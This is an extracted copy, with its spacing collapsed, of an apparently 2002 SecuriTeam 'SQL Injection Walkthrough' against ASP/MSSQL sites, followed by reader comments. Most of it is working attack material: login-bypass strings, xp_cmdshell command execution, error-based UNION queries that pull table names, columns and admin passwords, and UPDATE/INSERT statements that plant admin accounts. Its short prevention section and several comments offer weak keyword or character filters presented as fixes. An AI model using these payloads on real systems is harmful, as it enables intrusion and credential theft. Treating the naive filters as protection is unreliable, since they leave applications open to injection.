SQL Injection Walkthrough
SQL Injection Walkthrough
SQLInjectionWalkthrough
26May2002
Details 1.0Introduction Whenamachinehasonlyport80opened,yourmosttrustedvulnerabilityscannercannotreturnanythinguseful, andyouknowthattheadminalwayspatchhisserver,wehavetoturntowebhacking.SQLinjectionisoneof typeofwebhackingthatrequirenothingbutport80anditmightjustworkeveniftheadminispatch-happy.It attacksonthewebapplication(likeASP,JSP,PHP,CGI,etc)itselfratherthanonthewebserverorservices runningintheOS. Thisarticledoesnotintroduceanythingnew,SQLinjectionhasbeenwidelywrittenandusedinthewild.We wrotethearticlebecausewewouldliketodocumentsomeofourpen-testusingSQLinjectionandhopethatit maybeofsomeusetoothers.Youmayfindatrickortwobutpleasecheckoutthe"9.0WherecanIgetmore info?"forpeoplewhotrulydeservecreditfordevelopingmanytechniquesinSQLinjection. 1.1WhatisSQLInjection? ItisatricktoinjectSQLquery/commandasaninputpossiblyviawebpages.Manywebpagestake parametersfromwebuser,andmakeSQLquerytothedatabase.Takeforinstancewhenauserlogin,web pagethatusernameandpasswordandmakeSQLquerytothedatabasetocheckifauserhasvalidnameand password.WithSQLInjection,itispossibleforustosendcraftedusernameand/orpasswordfieldthatwill changetheSQLqueryandthusgrantussomethingelse. 1.2Whatdoyouneed? Anywebbrowser. 2.0Whatyoushouldlookfor? Trytolookforpagesthatallowyoutosubmitdata,i.e:loginpage,searchpage,feedback,etc.Sometimes, HTMLpagesusePOSTcommandtosendparameterstoanotherASPpage.Therefore,youmaynotseethe parametersintheURL.However,youcancheckthesourcecodeoftheHTML,andlookfor"FORM"taginthe HTMLcode.YoumayfindsomethinglikethisinsomeHTMLcodes: <FORMaction=Search/search.aspmethod=post> <inputtype=hiddenname=Avalue=C> </FORM> Everythingbetweenthe<FORM>and</FORM>havepotentialparametersthatmightbeuseful(exploitwise).
11.05.09 16:30
http://www.securiteam.com/...
1 of 20
http://duck/index.asp?id=10 3.0Howdoyoutestifitisvulnerable? Startwithasinglequotetrick.Inputsomethinglike: hi'or1=1-Intologin,orpassword,orevenintheURL.Example: -Login:hi'or1=1--Pass:hi'or1=1--http://duck/index.asp?id=hi'or1=1-Ifyoumustdothiswithahiddenfield,justdownloadthesourceHTMLfromthesite,saveitinyourharddisk, modifytheURLandhiddenfieldaccordingly.Example: <FORMaction=http://duck/Search/search.aspmethod=post> <inputtype=hiddenname=Avalue="hi'or1=1--"> </FORM> Ifluckisonyourside,youwillgetloginwithoutanyloginnameorpassword. 3.1Butwhy'or1=1--? Letuslookatanotherexamplewhy'or1=1--isimportant.Otherthanbypassinglogin,itisalsopossibleto viewextrainformationthatisnotnormallyavailable.Takeanasppagethatwilllinkyoutoanotherpagewiththe followingURL: http://duck/index.asp?category=food IntheURL,'category'isthevariablename,and'food'isthevalueassignedtothevariable.Inordertodothat, anASPmightcontainthefollowingcode(OK,thisistheactualcodethatwecreatedforthisexercise): v_cat=request("category") sqlstr="SELECT*FROMproductWHEREPCategory='"&v_cat&"'" setrs=conn.execute(sqlstr) Aswecansee,ourvariablewillbewrappedintov_catandthustheSQLstatementshouldbecome: SELECT*FROMproductWHEREPCategory='food' ThequeryshouldreturnaresultsetcontainingoneormorerowsthatmatchtheWHEREcondition,inthiscase, 'food'. Now,assumethatwechangetheURLintosomethinglikethis: http://duck/index.asp?category=food'or1=1-Now,ourvariablev_catequalsto"food'or1=1--",ifwesubstitutethisintheSQLquery,wewillhave: SELECT*FROMproductWHEREPCategory='food'or1=1--' ThequerynowshouldnowselecteverythingfromtheproducttableregardlessifPCategoryisequalto'food'or not.Adoubledash"--"tellMSSQLserverignoretherestofthequery,whichwillgetridofthelasthanging singlequote(').Sometimes,itmaybepossibletoreplacedoubledashwithsinglehash"#".
11.05.09 16:30
http://www.securiteam.com/...
2 of 20
However,ifitisnotanSQLserver,oryousimplycannotignoretherestofthequery,youalsomaytry 'or'a'='a TheSQLquerywillnowbecome: SELECT*FROMproductWHEREPCategory='food'or'a'='a' Itshouldreturnthesameresult. DependingontheactualSQLquery,youmayhavetotrysomeofthesepossibilities: 'or1=1-"or1=1-or1=1-'or'a'='a "or"a"="a ')or('a'='a 4.0HowdoIgetremoteexecutionwithSQLinjection? BeingabletoinjectSQLcommandusuallymean,wecanexecuteanySQLqueryatwill.Defaultinstallationof MSSQLServerisrunningasSYSTEM,whichisequivalenttoAdministratoraccessinWindows.Wecanuse storedprocedureslikemaster..xp_cmdshelltoperformremoteexecution: ';execmaster..xp_cmdshell'ping10.10.1.2'-Tryusingdoublequote(")ifsinglequote(')isnotworking. ThesemicolonwillendthecurrentSQLqueryandthusallowyoutostartanewSQLcommand.Toverifythat thecommandexecutedsuccessfully,youcanlistentoICMPpacketfrom10.10.1.2,checkifthereisany packetfromtheserver: #tcpdumpicmp Ifyoudonotgetanypingrequestfromtheserver,andgeterrormessageindicatingpermissionerror,itis possiblethattheadministratorhaslimitedWebUseraccesstothesestoredprocedures. 5.0HowtogetoutputofmySQLquery? Itispossibletousesp_makewebtasktowriteyourqueryintoanHTML: ';EXECmaster..sp_makewebtask"\\10.10.1.3\share\output.html","SELECT*FROM INFORMATION_SCHEMA.TABLES" ButthetargetIPmustfolder"share"sharingforEveryone. 6.0HowtogetdatafromthedatabaseusingODBCerrormessage WecanuseinformationfromerrormessageproducedbytheMSSQLServertogetalmostanydatawewant. Takethefollowingpageforexample: http://duck/index.asp?id=10 WewilltrytoUNIONtheinteger'10'withanotherstringfromthedatabase:
11.05.09 16:30
http://www.securiteam.com/...
3 of 20
http://duck/index.asp?id=10UNIONSELECTTOP1TABLE_NAMEFROM INFORMATION_SCHEMA.TABLES-ThesystemtableINFORMATION_SCHEMA.TABLEScontainsinformationofalltablesintheserver.The TABLE_NAMEfieldobviouslycontainsthenameofeachtableinthedatabase.Itwaschosenbecausewe knowitalwaysexists.Ourquery: SELECTTOP1TABLE_NAMEFROMINFORMATION_SCHEMA.TABLESThisshouldreturnthefirsttablenameinthedatabase.WhenweUNIONthisstringvaluetoaninteger10,MS SQLServerwilltrytoconvertastring(nvarchar)toaninteger.Thiswillproduceanerror,sincewecannot convertnvarchartoint.Theserverwilldisplaythefollowingerror: MicrosoftOLEDBProviderforODBCDriverserror'80040e07' [Microsoft][ODBCSQLServerDriver][SQLServer]Syntaxerrorconvertingthenvarcharvalue'table1'toa columnofdatatypeint. /index.asp,line5 Theerrormessageisniceenoughtotellusthevaluethatcannotbeconvertedintoaninteger.Inthiscase,we haveobtainedthefirsttablenameinthedatabase,whichis"table1". Togetthenexttablename,wecanusethefollowingquery: http://duck/index.asp?id=10UNIONSELECTTOP1TABLE_NAMEFROM INFORMATION_SCHEMA.TABLESWHERETABLE_NAMENOTIN('table1')-WealsocansearchfordatausingLIKEkeyword: http://duck/index.asp?id=10UNIONSELECTTOP1TABLE_NAMEFROM INFORMATION_SCHEMA.TABLESWHERETABLE_NAMELIKE'%25login%25'-Output: MicrosoftOLEDBProviderforODBCDriverserror'80040e07' [Microsoft][ODBCSQLServerDriver][SQLServer]Syntaxerrorconvertingthenvarcharvalue'admin_login'to acolumnofdatatypeint. /index.asp,line5 Thematchingpatent,'%25login%25'willbeseenas%login%inSQLServer.Inthiscase,wewillgetthefirst tablenamethatmatchesthecriteria,"admin_login". 6.1Howtomineallcolumnnamesofatable? WecanuseanotherusefultableINFORMATION_SCHEMA.COLUMNStomapoutallcolumnsnameofa table: http://duck/index.asp?id=10UNIONSELECTTOP1COLUMN_NAMEFROM INFORMATION_SCHEMA.COLUMNSWHERETABLE_NAME='admin_login'-Output: MicrosoftOLEDBProviderforODBCDriverserror'80040e07' [Microsoft][ODBCSQLServerDriver][SQLServer]Syntaxerrorconvertingthenvarcharvalue'login_id'toa
11.05.09 16:30
http://www.securiteam.com/...
4 of 20
columnofdatatypeint. /index.asp,line5 Nowthatwehavethefirstcolumnname,wecanuseNOTIN()togetthenextcolumnname: http://duck/index.asp?id=10UNIONSELECTTOP1COLUMN_NAMEFROM INFORMATION_SCHEMA.COLUMNSWHERETABLE_NAME='admin_login'WHERECOLUMN_NAME NOTIN('login_id')-Output: MicrosoftOLEDBProviderforODBCDriverserror'80040e07' [Microsoft][ODBCSQLServerDriver][SQLServer]Syntaxerrorconvertingthenvarcharvalue'login_name'toa columnofdatatypeint. /index.asp,line5 Whenwecontinuefurther,weobtainedtherestofthecolumnname,i.e."password","details".Weknowthis whenwegetthefollowingerrormessage: http://duck/index.asp?id=10UNIONSELECTTOP1COLUMN_NAMEFROM INFORMATION_SCHEMA.COLUMNSWHERETABLE_NAME='admin_login'WHERECOLUMN_NAME NOTIN('login_id','login_name','password',details')-Output: MicrosoftOLEDBProviderforODBCDriverserror'80040e14' [Microsoft][ODBCSQLServerDriver][SQLServer]ORDERBYitemsmustappearintheselectlistifthe statementcontainsaUNIONoperator. /index.asp,line5 6.2Howtoretrieveanydatawewant? Nowthatwehaveidentifiedsomeimportanttables,andtheircolumn,wecanusethesametechniquetogather anyinformationwewantfromthedatabase. Now,let'sgetthefirstlogin_namefromthe"admin_login"table: http://duck/index.asp?id=10UNIONSELECTTOP1login_nameFROMadmin_login-Output: MicrosoftOLEDBProviderforODBCDriverserror'80040e07' [Microsoft][ODBCSQLServerDriver][SQLServer]Syntaxerrorconvertingthenvarcharvalue'neo'toa columnofdatatypeint. /index.asp,line5 Wenowknowthereisanadminuserwiththeloginnameof"neo".Finally,togetthepasswordof"neo"fromthe database: http://duck/index.asp?id=10UNIONSELECTTOP1passwordFROMadmin_loginwherelogin_name='neo'-Output: MicrosoftOLEDBProviderforODBCDriverserror'80040e07'
11.05.09 16:30
http://www.securiteam.com/...
5 of 20
[Microsoft][ODBCSQLServerDriver][SQLServer]Syntaxerrorconvertingthenvarcharvalue'm4trix'toa columnofdatatypeint. /index.asp,line5 Wecannowloginas"neo"withhispassword"m4trix". 6.3Howtogetnumericstringvalue? Thereislimitationwiththetechniquedescribeabove.Wecannotgetanyerrormessageifwearetryingto converttextthatconsistsofvalidnumber(characterbetween0-9only).Letsaywearetryingtogetpassword of"trinity"whichis"31173": http://duck/index.asp?id=10UNIONSELECTTOP1passwordFROMadmin_loginwherelogin_name='trinity'-Wewillprobablygeta"PageNotFound"error.Thereasonbeing,thepassword"31173"willbeconvertedintoa number,beforeUNIONwithaninteger(10inthiscase).SinceitisavalidUNIONstatement,SQLserverwill notthrowODBCerrormessage,andthus,wewillnotbeabletoretrieveanynumericentry. Tosolvethisproblem,wecanappendthenumericstringwithsomealphabetstomakesuretheconversionfail. Letustrythisqueryinstead: http://duck/index.asp?id=10UNIONSELECTTOP1convert(int,password%2b'%20morpheus')FROM admin_loginwherelogin_name='trinity'-Wesimplyuseaplussign(+)toappendthepasswordwithanytextwewant.(ASSCIIcodefor'+'=0x2b). Wewillappend'(space)morpheus'intotheactualpassword.Therefore,evenifwehaveanumericstring'31173', itwillbecome'31173morpheus'.Bymanuallycallingtheconvert()function,tryingtoconvert'31173morpheus' intoaninteger,SQLServerwillthrowoutODBCerrormessage: MicrosoftOLEDBProviderforODBCDriverserror'80040e07' [Microsoft][ODBCSQLServerDriver][SQLServer]Syntaxerrorconvertingthenvarcharvalue'31173 morpheus'toacolumnofdatatypeint. /index.asp,line5 Now,youcanevenloginas'trinity'withthepassword'31173'. 7.0Howtoupdate/insertdataintothedatabase? Whenwesuccessfullygatherallcolumnnameofatable,itispossibleforustoUPDATEorevenINSERTa newrecordinthetable.Forexample,tochangepasswordfor"neo": http://duck/index.asp?id=10;UPDATE'admin_login'SET'password'='newpas5'WHERElogin_name='neo'-ToINSERTanewrecordintothedatabase: http://duck/index.asp?id=10;INSERTINTO'admin_login'('login_id','login_name','password','details') VALUES(666,'neo2','newpas5','NA')-Wecannowloginas"neo2"withthepasswordof"newpas5". 8.0HowtoavoidSQLInjection? Filteroutcharacterlikesinglequote,doublequote,slash,backslash,semicolon,extendedcharacterlike NULL,carryreturn,newline,etc,inallstringsfrom: -Inputfromusers -ParametersfromURL
11.05.09 16:30
http://www.securiteam.com/...
6 of 20
9.0WherecanIgetmoreinfo? OneoftheearliestworksonSQLInjectionwehaveencounteredshouldbethepaperfromRainForestPuppy abouthowhehackedPacketStorm. http://www.wiretrip.net/rfp/p/doc.asp?id=42&iface=6 GreatarticleongatheringinformationfromODBCerrormessages: http://www.blackhat.com/presentations/win-usa-01/Litchfield/BHWin01Litchfield.doc AgoodsummaryofSQLInjectiononvariousSQLServeron http://www.owasp.org/asac/input_validation/sql.shtml Senseport'sarticleonreadingSQLInjection: http://www.sensepost.com/misc/SQLinsertion.htm Otherworthreadings: http://www.digitaloffense.net/wargames01/IOWargames.ppt http://www.wiretrip.net/rfp/p/doc.asp?id=7&iface=6 http://www.wiretrip.net/rfp/p/doc.asp?id=60&iface=6 http://www.spidynamics.com/whitepapers/WhitepaperSQLInjection.pdf Comments: Subject: forphpandmysql From: justme Thereisanicearticle,thatcomeswithaworkingsolutionforphp+mysqlinjection. http://www.askbee.net/articles/php/SQL_Injection/sql_injection.html Subject: Anotherdiscussion From: Andrew IdiscussthissubjectwithabasicintroductiontoSQLatthefollowingaddress: http://andrew.absurdlycool.com/class/l7.html Date: 15Nov.2005
Date: 21Nov.2005
Subject: Goodarticlebut... Date: 16Dec.2005 From: shareefer Greatarticle,exceptforonething.Asamatterofprevention,youshouldALWAYSusestoredproceduresin yourwebcode. storedproceduresinterpretthereparametersliterallyeveniftheycontainSQLcode.soallSQLinjectionsare blocked...simpleasthat.noneedforcheckingfordashes,quotes,SQLkeywords,ect.
11.05.09 16:30
http://www.securiteam.com/...
7 of 20
Subject:
StoredProcsarenotguaranteedprotection
Date:
18Jan. 2006
From: dbjstein Inresponsetothenoteabove,itisnotIbelievethecasethatstoredprocedurespreventSQLinjectioninall cases.StoredproceduresarefrequentlysetuptocontaindynamicSQL,wherethestatementisconstructed atruntime.Inthosecases,thereisnoprecompiledstatement,andthereforenopreventionofSQLinjection techniques.OnlyifthestoredprocedurecontainsadefinedSQLstatementwithbindvariablesorparameters tobeparsedintothestatement,willitpreventSQLinjection. Subject: VarianceinSQLservererrormessages From: redeye Itriedtestingthisonasite,usingsomethingsimilarto: http://duck/index.asp?id=10UNIONSELECTTOP1TABLE_NAMEFROM INFORMATION_SCHEMA.TABLES-Insteadoftheuseful MicrosoftOLEDBProviderforODBCDriverserror'80040e07' [Microsoft][ODBCSQLServerDriver][SQLServer]Syntaxerrorconvertingthenvarcharvalue'table1'toa columnofdatatypeint. /index.asp,line5 Igetthis: MicrosoftOLEDBProviderforSQLServererror'80040e07' Syntaxerrorconvertingcharacterstringtosmalldatetimedatatype. /titlenews.inc,line46 IsthisanewerversionofSQLserveroradifferentlyconfiguredone,onewhichdeliberatelydoesnotoutput theusefuldata? Subject: bindvariables From: seph Howisusingastoredproceduresgoingtopreventthis? ...youjustneedtomakesureyouusebindvariables. Subject: SQLinjectionsux From: WhiteHaCker IpreferLKMrootkitattacksforsunservers. Thiscouldbeusedasakernelhackintrick. Justlikethewayiusedtocodebufferoverflowsforunixservers... Date: 10Feb.2006 Date: 10Feb.2006
Date: 21Feb.2006
11.05.09 16:30
http://www.securiteam.com/...
8 of 20
chkthisURL...http://www.askbee.net/articles/php/SQL_Injection/sql_injection.html Subject: whataboutthissolution Date: 15Mar.2006 From: da_man Itestedaforummadebyafriendandhisloginlookedkindalikethis(shorteneddownabit): $query_1=mysql_query("e;SELECT*FROM"e;.$tpref."e;usersWHEREUserName= '$_POST[usern]'ANDPassWord='$_POST[passwd]'"e;); //checklogin if(mysql_num_rows($query_1)==1){ //dologinstuff }else{ //printerrormsg } howsafeisthatagainstsqlinjection? Subject: Ihighlysuggestyouwatchthisvideo... Date: 14Jul.2006 From: Ralph IfoundthisBLOGwhichhassomeSQLInjectioninfo,alongwithalinkofavideowhereaguyusesSQL injectiontoreplacealoggingdllonawebserverandcapturescreditcardinformation. Anyonewhothinksthisisnobigdealneedstowatch.GotothisURLandthenlookforthevideolink. http://devauthority.com/blogs/jwooley/archive/2006/07/11/1672.aspx Subject: storedprocedure Date: 24Jul.2006 From: Ivan Storedproceduresarenotalwayssafebecausetheyconstructasqlstatementatruntimeprettymuchthe samewayasaprogramwould.Itispossible,however,thatargumentsarebeingpassedtoastored procedureatruntimeandthattheactualSQLstatementdoesn'tcontainthearguments.Therearesiteswhich explainhowtodothisinSQLServer. Subject: jim Date: 1Aug.2006 From: jim.scuba.kennedygmail.com Veryscarythatpeoplethinktheuseofstoredprocswillprotectthemfromsqlinjection.(ortheuseofa particularweborRDBMStechnology) Folks,USEBINDVARIABBLES.Don'tallowdynamicSQL.Ifyouwanttousestoredprocsthatisfine,but yourstoredprocsbetterNOTusedynamicsql.Thisproblemisn'tsoleyawindows/sqlserverproblem;itcan appearonanydbserverandanyOSwithanylanguageofyoudoitright.(wrong)Againusebindvariables. Alsobindvariablesscalebetter. Subject: From: myway felpharyahoo.com Date: 27Aug.2006
11.05.09 16:30
http://www.securiteam.com/...
9 of 20
Yadon'texecutethecodeifcontains;/\'"e;=-isthatsimple.Whydoesanybodytryetocomlicate it???? Subject: myway Date: 7Sep.2006 From: Libstar Notthatsimplefelpharyahoo.com!!Whatifuserrequirementistoenterastringincludingoneofthese charaters?;/\'"e;=-(e.g.surnameO'Neillwhichincludesanapostrophe) Yougonnatellyourclienttheycan'thavewhattheyneed?Theygonnatellya,you'renotgettingpaid!!! Subject: tothepersonaboveme Date: 8Sep.2006 From: LostDreamer Well,ifyoudonotexecuteanysqlquerycontainingthosedigits,howwouldonemakeaforum?oranyplace wherepeoplecanpostmessages? whentheyuseawordwitha'init,thecodewouldnotexecutetheinsertquery..... AlsogoodoptionagainstSQLInjectionisMagicQuotes....replacesallthe'&"e;with'&\"e; whichwouldnotend/altertheSQLquery. Subject: languagelibraryproblem Date: 23Sep.2006 From: gaba Franklypeople,thisisrediculous.Youfolksshouldstartgettingonatyourlanguagedesignerstodothings properlysothisstuffisnotaproblem. TheonlyproblemhereisthatdatapassedtoSQLdoesnothave'special'charactersquotedbeforeitgetsto thequery. Youshouldbeabletodothismanually.However,youshouldbegivenlibraryfunctionsthatautomaticallydo thisforyou. searchfor="e;myid"e;; query="e;select*fromtablewhereid=?"e;; executequery(query,searchfor); IftheexecutequeryfunctionautmaticallyremovesallSQLinjectionproblems,thisisanon-issue. Iconsideritafatallanguageflawnottohavesuchalibraryissuedasthestandarddatabaseimplementation. Subject: SQLinjectiononMSSQLandASP. Date: 17Oct.2006 From: Vaclav IputanarticleonthewebaboutMSSQL&ASP,includingapracticeexamplehowitworked. http://www.slavicek.net/misc/SqlInjection/index_en.htm Subject: sqlinjection Date: 19Oct.2006 From: ChrisM whydon'tyoujust(vb6): replace(user_param,"e;'"e;,"e;''"e;)whenconcatenatingtodynamicsqlstring? (replacesinglequotewithtwosinglequotes) strsql="e;select*fromtablewhereuser='admin'andpassword='"e;& replace(user_param,"e;'"e;,"e;''"e;)&"e;'"e;
11.05.09 16:30
http://www.securiteam.com/...
10 of 20
justincase,ifyougetanerrorinsectionwhileusing: NOTIN('login_id')--,etc...youcouldtry http://duck/index.asp?id=10UNIONSELECTTOP1COLUMN_NAMEFROM INFORMATION_SCHEMA.COLUMNSWHERETABLE_NAME='admin_login'WHERECOLUMN_NAME <>'login_id'-Itworkedperfectlyforme(<>means'different'), Subject: excellentbutstoredprocishackable From: gary TrythisonyourNorthwinddatabase: SP: CREATEPROCEDUREtest(@mycitynvarchar(15)) AS SELECTEmployeeID,LastName,FirstName,HomePhone,City FROMEmployees WHERECity=@mycity Nowinquerymanagertypein: exectest'x';execmaster.dbo.xp_cmdshell'dir*.exe';--' andthiswillwork. Subject: easiestwaytopreventit Date: 7Feb.2007 From: Ole Thereisasimplesolutiontoallthis,dunnoifanybodymentioneditalreadysinceididn'treaditall.Replace thevariableyousendintothesqlquerrylikethis:replace(variableName,"e;'"e;,"e;'"e;)and yourhomefee.The'isnowtextbasedandwontinterruptthesqlquerry. Oh..andtoallthepplheretryingtousethisshittohack..don't,theonlythingyoudoisruinotherpplsdata. updateatableandappendthe--andyouupdateeverysinglerowinthattablesincethereisnoreferenceto whichrowyourupdatinganymore. Don'tbloodywelltrytohack!itsnotl33torcooloranything.Anybodycanfollowarecipe. Subject: Responsetopurpotedexploit From: thatoneguy Nowinquerymanagertypein: exectest'x';execmaster.dbo.xp_cmdshell'dir*.exe';--' andthiswillwork. ================ Date: 9Feb.2007 Date: 2Jan.2007
11.05.09 16:30
http://www.securiteam.com/...
11 of 20
Thatworksbecausethe"e;;"e;keyinQueryAnalyzereffectivelysendstwoseparatecommands. Todemonstratetheeffectofattemptingtoattackthatstoreprocedureviaasqlinjectionvector,itwouldlook likethis: exectest'x;execmaster.dbo.xp_cmdshell'dir*.exe' YourinitialsyntaxinQAisfunctionallyidenticalto: exectest'x' GO execmaster.dbo.xp_cmdshell'dir*.exe' GO Subject: easiestwaytopreventit Date: 12Feb.2007 From: Ole ohfuck,thereplacetextwasmessedupbythisformsubmission..whatimeanttowritewasreplacethe' withtheasciiequivalentofthesign... 12Mar. 2007
Subject:
Yeap,notbad
Date:
From: DarkDawn Hidevelopers, Haveasuggestionforyouguysalso.Atthesametimeyouarekeepinganeyeonthedatapassedtoyour Queries/SPs,changeyourerrormessagesalsoinyourapp/server.Trytopostthemainmessagetoa definedmailaddressforlaterchecksandshowsomethingsimplebyerrortime.Itispossiblethru.netandis workingforus,notsureabouttheotherlanguagesbutmustbeaway. Bytheway,itisalwaysPERFECTtoknowwhatarethepossiblewaysgettingintoyourappANDDONOT FORGET:crackersaremostlyreallysmart;hireoneforyoursecurityifitisreallynecessary.;) GL&Tanx 30Mar. 2007
Subject:
Interesting..
Date:
From: Chia btw,IfyouRUNIIS6.0,justdisableaccesstorootdirectoryusing"e;..\"e;andalso,disable "e;DetailedErrorMessage"e;andreplaceitwith"e;Sorry,anderrorhasoccured"e;this way,thereisnowayfortheattemptinghackertogetanyinfoback.AlsoinyourASPcodeorASP.NET eitherusestoredprocedures,ormakeadditioncheckstatementstolookatyour Request.QueryString("e;"e;)orRequest.Form("e;"e;)...like..doa instr(stringname,"e;;"e;)testandseeif"e;;"e;isfound,ifsothrowexception.becauseif youenterdataintoavulnerableformthiswillhappen: Letssayyouinput"e;test';<anySQLCommand>;"e;intotheform,thenforthefollowingSQL Query SQLString="e;Select*FromTable1whereUsername='"e;&userName&"e;'"e;... Itwouldlooklike: Select*FromTable1whereUsername='test';<anySQLCommand>; Whichwouldthenexecutewhatevercomesafter. Andyoushouldtestforothersimilarthings,suchascomamndstoDeleterecordsandsoforth.:)
11.05.09 16:30
http://www.securiteam.com/...
12 of 20
Subject:
Morons
Date:
10May 2007
From: Basiclife Myofficialpositionisthathalfthepeopleherearemorons...SQLinjectionisavalidmethodofattacktoANY databasewithawebapp(unlessthedeveloperhadbeencareful).StoredproceduresareNOTsafe-Ifyou callsp_Login'username','password'andsomeonereplaces'username'with','';<QUERY>--thenitwillstill executequery.Also,tothepeopleabovewhoareonlyherebecausetheyaretooincompetenttounderstand theprinciplesofSQLInjection-Gohomeandtryagain. InregardstoPHP:phphasamysql_escape_stringfunctionwhichisveryhandyforpreventinginjectionbut whetherornotthedeveloperusesitisanotherquestion. Andinanswertothepostabove,that'sanASP.NETerrorpagewhichisspecificallydesignedtonotshow ANYerrorinformationforHTTP500errors,thusmakingyourlifeREALLYhard. Theyellowboxesontheerrorwiththewebconfigsareexplaininghowthesiteownercanallowerror messagestobeshown(noonedoes).Thisonemightbearealpain.goodluck:) Subject: PreventingSQLInjection Date: 17May2007 From: Vasu Thatisagoodthingtodo.CustomErrorsmode=RemoteOnlypreventstheerrorbeingshowntoEndUser. Thatisdefinitelyagoodpractice. 1)MaybesometimesgenuineerrorsthatumayfacewhenurusingfromaclientPC.Sameumaynotbe abletosimulatefromServerornexttimeudoit.Soitisalwaysagoodpracticetousethis Try
Catcheasexception'Thiscanbeputforeveryexceptiontype 'WritetoOriginalerrorEventlog 'PutaGenericMessagetothescreen 'like'ThereisGenericErrorintheOperations,Contact........forgettingyourproblemresolved' Endtry Thisisusefulin.NET.YoucanputyouequivalentcodeasperurcodelanguageandEnsureallurSQL StatementarecoveredwithErrorHandling.AndNoErrorshouldbepassedontothescreenfromdatabase. 2)Avoidusinglogin'sa'toaccessthedata.Createaloginonyourown.Restrictitsaccessonlytoyour databaseavoidingmasterdbaccess. Subject: Averysimplesolutionforthis! Date: 29Jun.2007 From: Freaky placethisinyourconfigfile: $_SERVER['REQUEST_URI']=mysql_real_escape_string($_SERVER['REQUEST_URI']); ifyoudon'tlikethiswayusethis: $sql_url=$_SERVER['REQUEST_URI']; $sql_array=Array();
11.05.09 16:30
http://www.securiteam.com/...
13 of 20
$sql_array[]="e;mysql"e;; $sql_array[]="e;)"e;; $sql_array[]="e;;"e;; $sql_array[]="e;'"e;; $sql_array[]="e;}"e;; $sql_array[]="e;INSERT"e;; $sql_array[]="e;DROPTABLE"e;; $sql_array[]="e;TRUNCATE"e;; $sql_array[]="e;DROP"e;; $sql_array[]="e;UPDATE"e;; $sql_array[]="e;%"e;; $sql_array[]="e;UNION"e;; $sql_array[]="e;ALL"e;; //$sql_array[]="e;"e;;addthingsyourself foreach($sql_arrayAs$not_alowed){ if(eregi($not_alowed,$sql_url)){ echo'SQLinjectionsecurity!'; exit; } } thiswillblockallthingsnamedindearrays!
Allyouhavetodoisputthisinyourconfigfilethatwillbeincludedintoeverypageandallyourproblemesare solved! Subject: Storedproceduresdonotpreventinjection Date: 5Jul.2007 From: Burhaan UsingstoredproceduresdoesnotnecessarilypreventSQLinjection.Onehastobecarefulandensurethat stronlynamestypesaredefinedincode.Ilearntthisthehardway! Subject: MyWay Date: 14Aug.2007 From: MohamadSoftengYahoo.com forneglectingallofthistypeofSQL(injecting)youcanfetchallrowsfromthedatabaseandthencompare theinputwitheachrecordinthedatabaselikethis: $con=mysql_query("e;SELECT*FROMloginWHEREID<>'Login';"e;); while($get=mysql_fetch_row($con)) { if($get[0]==$_REQUEST["e;ID"e;]&&$get[1]==$_REQUEST["e;Password"e;]) { print("e;Loginaccepted..."e;); } } Subject: From: lol VaRz Date: 21Aug.2007
11.05.09 16:30
http://www.securiteam.com/...
14 of 20
try $re=array("e;*"e;,"e;,"e;,"e;|"e;,"e;`"e;,"e;'"e;, "e;"e;"e;,"e;%"e;); if($_POST['textbox']){ str_replace($re,"e;"e;,$_POST['textbox']); } seeifthisworks Subject: OfcourseSParesuscpetible! Date: 2Nov.2007 From: Basiclife Forastart,itdependsHOWyoucalltheSP-Iworkedatacompanythatdidsomethinglike(ASP): SetObjRS=ObjCon.Execute("e;EXECap_login'"e;&...Blah Theproblemis,itjustmovestheSQLinjectionissuefromtheDBtothewebserver.SPsare_more_secure ifparameterisedcorrectly. Additionally,DynamicSQLintheSPwillcompletelyinvalidateanysuchprecautionsunlessyoumanually type-check,etc...asanSPdoes. goodarticlethough-veryhandyforeasilyexplainingtoothers(savesmerepeatingmyselfadinfinitum) Thanks Subject: HelpmeinSQLIjection Date: 22Nov.2007 From: DaSattidanish_satti2002atyahoo.com IhaveasimplequeryandiamtryingSQLInjectionbutdonotsucceed.Hereisthequery $query="e;select*fromuserswhere`user_name`='"e;.$user."e;'and`password`= '"e;.$pass."e;'"e;; $res=mysql_query($query)ordie("e;Errorexecutingquery"e;.mysql_error()); if(mysql_num_rows($res)>0) {//othercode } else {echo"e;invalidusernameorpassword"e;;} NOiaminsertingfollowingintheusernamefield 'or1=1-StillIamgetting"e;Invalidusernameorpassword"e;Whatmistakeanimaking.Iwillbethankfulif someonefromyoureplyatmyaboveprovidedemail Thanks 12Dec. 2007
Subject: From:
Whattodowhenmagicquotegpcison DaSattiRawalpindi
Date:
11.05.09 16:30
http://www.securiteam.com/...
15 of 20
Subject:
Greatartical!
Date:
